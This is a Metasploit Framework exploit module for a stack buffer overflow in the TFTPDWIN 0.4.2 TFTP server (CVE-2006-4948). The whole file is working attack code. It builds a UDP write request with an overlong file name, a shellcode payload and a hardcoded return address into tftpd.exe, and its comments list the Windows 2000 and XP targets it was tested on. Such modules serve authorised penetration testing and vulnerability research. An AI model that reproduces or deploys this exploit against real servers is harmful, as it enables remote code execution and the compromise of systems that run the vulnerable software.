TFTPDWIN 0.4.2 - Long Filename Buffer Overflow

                                                ##
# $Id: tftpdwin_long_filename.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Udp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'TFTPDWIN v0.4.2 Long Filename Buffer Overflow',
			'Description'    => %q{
					This module exploits the ProSysInfo TFTPDWIN threaded TFTP Server. By sending
				an overly long file name to the tftpd.exe server, the stack can be overwritten.
			},
			'Author' 	 => [ 'patrick' ],
			'Version'        => '$Revision: 9179 $',
			'References'     =>
				[
					[ 'CVE', '2006-4948' ],
					[ 'OSVDB', '29032' ],
					[ 'BID', '20131' ],
					[ 'URL', 'http://www.milw0rm.com/exploits/3132' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 284,
					'BadChars' => "\x00",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					# Patrick - Tested OK 2007/10/02 w2ksp0, w2ksp4, xpsp0, xpsp2 en
					[ 'Universal - tftpd.exe', { 'Ret' => 0x00458b91 } ] # pop edx / ret tftpd.exe
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Sep 21 2006',
			'DefaultTarget'  => 0))

		register_options(
			[
				Opt::RPORT(69),
			], self)
	end

	def exploit
		connect_udp

		print_status("Trying target #{target.name}...")
		sploit = "\x00\x02" + payload.encoded + [target['Ret']].pack('V')
		sploit << "netascii\x00" # The first null byte is borrowed for the target return address :)
		udp_sock.put(sploit)

		disconnect_udp
	end

end